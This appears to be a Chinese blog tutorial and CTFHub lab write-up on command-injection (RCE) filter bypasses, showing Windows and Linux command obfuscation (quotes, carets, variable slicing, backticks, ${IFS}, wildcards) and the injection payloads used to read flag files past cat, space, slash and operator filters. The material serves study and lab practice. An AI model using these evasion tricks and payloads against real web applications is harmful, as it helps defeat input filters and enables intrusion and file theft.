【RCE剖析】从0-1讲解RCE漏洞绕过,Windows与Linux/RCE漏洞绕过方式总结----实战解析
前言
本文讲解了windows/linux的常见命令以及命令执行漏洞的绕过方式,靶场环境为ctfhub,分别有命令注入、cat过滤、空格过滤、过滤目录分隔符、运算符过滤,这几种绕过方式
Windows
我们在windows命令行中执行命令的时候,是不区分大小写的
C:\>WHOAMI
yv\administrator
在命令行中可以有无数个"
C:\>wh""""oami
yv\administrator
C:\>wh""""""""""""""""""""""""""""""oami
yv\administrator
不能有两个连续的^
C:\>whoa^mi
yv\administrator
C:\>whoam^^i
'whoam^i' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
C:\>who^a^m^i
yv\administrator
在命令中如果 "
在^
之前,此时"
的数量必须为偶数
C:\>who""a^mi
yv\administrator
C:\>who"a^mi
'who"a^mi' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
在命令中"
在^
之后,且带有参数,则”
也需要带有偶数
C:\>n^et" user
'net" user' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
C:\>n^et"" user
\\YV 的用户帐户
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
mysql WDAGUtilityAccount www
命令成功完成。
也可以使用()
对命令进行包裹
C:\>(whoami)
yv\administrator
C:\>(n^et"" user)
\\YV 的用户帐户
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
mysql WDAGUtilityAccount www
命令成功完成。
()
的数量不设上限
C:\>(((whoami)))
yv\administrator
使用变量
简单拼接
%%
局部分开每个变量
C:\>set cmd1=who
C:\>set cmd2=am
C:\>set cmd3=i
C:\>%cmd1%%cmd2%%cmd3%
yv\administrator
变量拼接方式二
C:\>set cmd1=who
C:\>set cmd3=i
C:\>%cmd1%am%cmd3%
yv\administrator
变量拼接方式三
C:\>set cmd1=wh"""o
C:\>set cmd3=i"""
C:\>%cmd1%am%cmd3%
yv\administrator
变量拼接方式四 ^
C:\>set cmd1=wh""""o # 这里需要偶数,因为在变量拼接结果中有 ^
C:\>set cmd3=i""" # 后面正常多少个 " 都行
C:\>%cmd1%a^m%cmd3%
yv\administrator
含有参数的命令,net user
C:\>set cmd1=s""er
C:\>set cmd2=t u
C:\>set cmd3=n^e
C:\>%cmd3%%cmd2%%cmd1%
\\YV 的用户帐户
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
mysql WDAGUtilityAccount www
命令成功完成。
一次性执行多条命令
C:\>cmd /C "set cmd1=s""ser && set cmd2=t u && set cmd3=n^e && %cmd3%%cmd2%%cmd1%"
\\YV 的用户帐户
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
mysql WDAGUtilityAccount www
命令成功完成。
Windows环境变量切分
先设置一个变量
C:\>set cmd=whoami
C:\>%cmd%
yv\administrator
这个0,1表示的数组切片,代表前后切片的索引
C:\>set cmd=whoami
C:\>echo %cmd:~0,1%
w
C:\>echo %cmd:~0,4%
whoa
也可以为负数,负数表示从右边开始数第几个
C:\>set cmd=whoami
C:\>echo %cmd:~-4,4%
oami
C:\>echo %cmd:~-6,4%
whoa
当然也能直接向外部写一个php一句话木马
检查是否存在
for循环执行命令
C:\>cmd /V:ON /C "set kpx=awlh2im,xiaoyu&& for %G in (1,3,-3,0,6,5) do set lq=!lq!!kpx:~%G,1!&& if %G==5 !lq:~4!"
C:\>set lq=!lq!!kpx:~1,1! && if 1 == 5 !lq:~4!
C:\>set lq=!lq!!kpx:~3,1! && if 3 == 5 !lq:~4!
C:\>set lq=!lq!!kpx:~-3,1! && if -3 == 5 !lq:~4!
C:\>set lq=!lq!!kpx:~0,1! && if 0 == 5 !lq:~4!
C:\>set lq=!lq!!kpx:~6,1! && if 6 == 5 !lq:~4!
C:\>set lq=!lq!!kpx:~5,1! && if 5 == 5 !lq:~4!
yv\administrator
Linux
linux中是区分大小写的
┌──(root㉿251ebe86465a)-[/]
└─# LS
LS: command not found
┌──(root㉿251ebe86465a)-[/]
└─# Ls
Ls: command not found
运算符;
表示连续指令,即使前面那条命令报错,后面也会接着执行
┌──(root㉿251ebe86465a)-[/]
└─# LS;whoami
LS: command not found
root
&
用于后台执行命令,这个可能看不出来
┌──(root㉿251ebe86465a)-[/]
└─# ls&wHoami
[1] 59
archive-key.asc boot etc lib lib64 mnt proc run srv tmp var
bin dev home lib32 media opt root sbin sys usr
Command 'Whoami' not found, did you mean:
command 'whoami' from deb coreutils
Try: apt install <deb name>
[1]+ Done ls --color=auto
我们使用ping 127.0.0.1 & whoami
,这条命令会将ping放在后台执行,这个时候你没有设置ping的次数,就会一直执行下去,停止不了,而whoami已经执行完毕了。
┌──(root㉿kali)-[/usr/local]
└─# ping 127.0.0.1& whoami
[1] 4508
root
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=5.80 ms
┌──(root㉿kali)-[/usr/local]
└─# 64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.593 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.049 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.044 ms
64 bytes from 127.0.0.1: icmp_seq=5 ttl=64 time=0.058 ms
64 bytes from 127.0.0.1: icmp_seq=6 ttl=64 time=0.045 ms
--------之后将会一直运行下去,也停止不了。。。。
&&
连接两个指令的时候,要保证命令两个命令都能正常执行,否则一个错,就执行不了了
┌──(root㉿251ebe86465a)-[/]
└─# ls&&whoami
archive-key.asc boot etc lib lib64 mnt proc run srv tmp var
bin dev home lib32 media opt root sbin sys usr
root
┌──(root㉿251ebe86465a)-[/]
└─# LS&&whoami
LS: command not found
|
管道符:用于将一个命令的输出作为另一个命令的输入。它允许两个或多个命令之间传递数据。
例如,我获取这个/data路径的下的所有包含boo
的文件
┌──(root㉿251ebe86465a)-[/]
└─# ls | grep '*boo*'
boot
||
逻辑运算符:如果||
左边的命令执行失败(返回非零退出状态),那么||
右边的命令将会被执行。执行成功一个命令后,后面的苏哦有命令都不会执行。
┌──(root㉿251ebe86465a)-[/]
└─# ip addr || wHoami || ls
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
5: eth0@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
valid_lft forever preferred_lft forever
转义字符\
┌──(root㉿251ebe86465a)-[/]
└─# who\ami
root
''
,()
,$
,``
┌──(root㉿251ebe86465a)-[/]
└─# who''ami
root
┌──(root㉿251ebe86465a)-[/]
└─# (whoami)
root
┌──(root㉿251ebe86465a)-[/]
└─# (who''ami)
root
┌──(root㉿251ebe86465a)-[/]
└─# `(echo whoami)`
root
┌──(root㉿251ebe86465a)-[/]
└─# $(echo whoami)
root
命令引用
┌──(root㉿kali)-[/data]
└─# t=l;j=s;$t$j #相当于执行了 ls
谷歌插件 GitHack miku
linux特有变量
$1
,$*
,$@
,$n
这个n
表示除0以外的任意数字,都可以作为系统命令绕过的方式
┌──(root㉿kali)-[/data]
└─# who$2ami
root
┌──(root㉿kali)-[/data]
└─# who$4ami
root
┌──(root㉿kali)-[/data]
└─# who$*ami
root
┌──(root㉿kali)-[/data]
└─# who$@ami
root
┌──(root㉿kali)-[/data]
└─# who$0ami
who-zshami:未找到命令
linux通配符
我们以执行whoami
这个命令来进行测试
┌──(root㉿kali)-[/etc/docker]
└─# whereis whoami
whoami: /usr/bin/whoami /usr/share/man/man1/whoami.1.gz
┌──(root㉿kali)-[/etc/docker]
└─# /usr/bin/whoam*
root
┌──(root㉿kali)-[/etc/docker]
└─# /usr/bin/whoam?
root
┌──(root㉿kali)-[/etc/docker]
└─# /usr/bin/wh?am?
root
┌──(root㉿kali)-[/etc/docker]
└─# /usr/bin/????mi
root
┌──(root㉿kali)-[/etc/docker]
└─# /u?r/b?n/????mi
root
┌──(root㉿kali)-[/etc/docker]
└─# /*/b?n/????mi
root
Linux中命令中的命令
虽然会报错,但是命令也会正常执行
┌──(root㉿kali)-[/etc/docker]
└─# `666666`
666666:未找到命令
┌──(root㉿kali)-[/etc/docker]
└─# 666666`whoami`6666
666666root6666:未找到命令
┌──(root㉿kali)-[/etc/docker]
└─# `6666`whoami`6666`
6666:未找到命令
6666:未找到命令
root
┌──(root㉿kali)-[/etc/docker]
└─# 6666`whoami`6666
6666root6666:未找到命令
┌──(root㉿kali)-[/etc/docker]
└─# w`sfdawfewa`ho`sajfdkljas`am`sdjflk123`i
sfdawfewa:未找到命令
sajfdkljas:未找到命令
sdjflk123:未找到命令
root
┌──(root㉿kali)-[/etc/docker]
└─# wh${sdf}oam${ddkjdld}i
root
┌──(root㉿kali)-[/etc/docker]
└─# wh${sdf242341}oam${ddkjdld234232}i
root
linux环境变量切割
查看环境变量
┌──(root㉿251ebe86465a)-[/]
└─# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
查看环境变量的长度
┌──(root㉿251ebe86465a)-[/]
└─# echo ${#PATH}
60
分割环境变量
┌──(root㉿kali)-[/etc/docker]
└─# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/root/.dotnet/tools
┌──(root㉿kali)-[/usr/local]
└─# echo ${PATH:0:10}
/usr/local
┌──(root㉿kali)-[/usr/local]
└─# echo ${PATH:0:1}
/
靶场练习CTFHUB
使用&&符号,没有获取到想要的结果,因为&&
在前一个命令没有执行结束的时候,是不会执行后面的命令的。
当然还有种思路就是指定次数,使用-c
参数,这里是没有效果的
┌──(root㉿kali)-[~]
└─# ping -c 2 127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.489 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.106 ms
--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1004ms
rtt min/avg/max/mdev = 0.106/0.297/0.489/0.191 ms
;
绕过
┌──(root㉿kali)-[~]
└─# ping -c 2 127.0.0.1;whoami
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.558 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.047 ms
--- 127.0.0.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1008ms
rtt min/avg/max/mdev = 0.047/0.302/0.558/0.255 ms
root
使用&
也可以得到结果,通过将ping命令放到后台执行,后面的结果也会执行
[1] => /sys/devices/platform/serial8250/tty/ttyS2/flags
payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS2/flags
[2] => /sys/devices/platform/serial8250/tty/ttyS0/flags
payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS0/flags
[3] => /sys/devices/platform/serial8250/tty/ttyS3/flags
payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS3/flags
[4] => /sys/devices/platform/serial8250/tty/ttyS1/flags
payload:127.0.0.1 & cat /sys/devices/platform/serial8250/tty/ttyS1/flags
[5] => /sys/devices/virtual/net/tunl0/flags
payload:127.0.0.1 & cat /sys/devices/virtual/net/tunl0/flags
[6] => /sys/devices/virtual/net/lo/flags
payload:127.0.0.1 & cat /sys/devices/virtual/net/lo/flags
这些payload都给你们试过了,没有flag
不断执行命令,找到这个web目录中有一个数字.php查看即可
得知payload
127.0.0.1 & cat /var/www/html/17165225371506.php
查看源码
过滤cat
题目:过滤了cat命令之后,你还有什么方法能读到 Flag?
查看目录,他换了个名字
没有cat那么在linux中还有这样几个命令
tac
命令是cat
命令的反向操作,它会按行读取文件内容,但会以相反的顺序输出。这意味着文件的最后一行将首先显示,而第一行将最后显示。
127.0.0.1 &tac /var/www/html/flag_9902871730290.php
less
命令与more命令类似,也是用于分页显示文本文件的内容,但less提供了更多的导航选项,如向前翻页、向后翻页、搜索文本等。
127.0.0.1 &less 5 /var/www/html/flag_9902871730290.php
head
命令用于显示文件的开头部分,默认显示前10行,但可以通过选项指定显示的行数。
127.0.0.1 &head 5 /var/www/html/flag_9902871730290.php
tail
命令用于显示文件的末尾部分,默认显示最后10行,与head
命令相对应。它还可以用于实时跟踪文件的新增内容。
127.0.0.1 &tail 5 /var/www/html/flag_9902871730290.php
nl
命令与cat -b命令相似,用于显示文件内容并在每行前加上行号,但nl提供了更多的格式化选项。
127.0.0.1 & nl /var/www/html/flag_9902871730290.php
awk
是一个强大的文本处理工具,虽然它主要用于模式扫描和处理语言,但在某些情况下,可以使用awk
命令以类似于cat
的方式显示文件内容,同时添加额外的文本处理功能。
127.0.0.1 & awk '{print}' /var/www/html/flag_9902871730290.php
more
命令用于分页显示文本文件的内容,用户可以通过按空格键翻页,按b键回退,按q键退出。虽然它主要用于分页查看,但在逐页查看文件内容时,与cat
命令直接显示整个文件内容的方式形成对比。
127.0.0.1 & more /var/www/html/flag_9902871730290.php
过滤空格
分析源码,使用preg_match_all
函数检查变量$ip
中是否包含空格。
空格的绕过方式一般有(针对于本题来讲)
1、${IFS}
代替空格
127.0.0.1&ls${IFS}/var/www/html/
2、%09
相当于tab
键
127.0.0.1&ls%09/var/www/html/
3、大括号{}
127.0.0.1&{ls,/var/www/html/}
4、重定向字符>
<>
举例
┌──(root㉿kali)-[/data]
└─# ping -c 1 127.0.0.1;ls<>-l
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.701 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.701/0.701/0.701/0.000 ms
谷歌插件 GitHack -l miku
payload:127.0.0.1&ls<>/var/www/html/
经过测试,上面四种仅有${IFS}成功
完整payload
127.0.0.1&cat${IFS}/var/www/html/flag_172742853821990.php
过滤目录分隔符
题目:这次过滤了目录分割符 / ,你能读到 flag 目录下的 flag 文件吗?
直接使用ls查看目录,没有东西
试试%2F
127.0.0.1 & ls %2Fvar%2Fwww%2Fhtml
那我们直接ls
使用cd和;
进行多行命令执行即可,一级目录一级目录的cd
即可
127.0.0.1;cd flag_is_here;cat flag_31328570616525.php
过滤运算符
题目:过滤了几个运算符, 要怎么绕过呢?
分析源码,过滤了运算符,但是也没完全过滤,少了个;
;
即可
127.0.0.1;cat flag_5393398119154.php
往期文章推荐
【kali笔记】Metasploit Framework (MSF) 从基础到进阶使用指南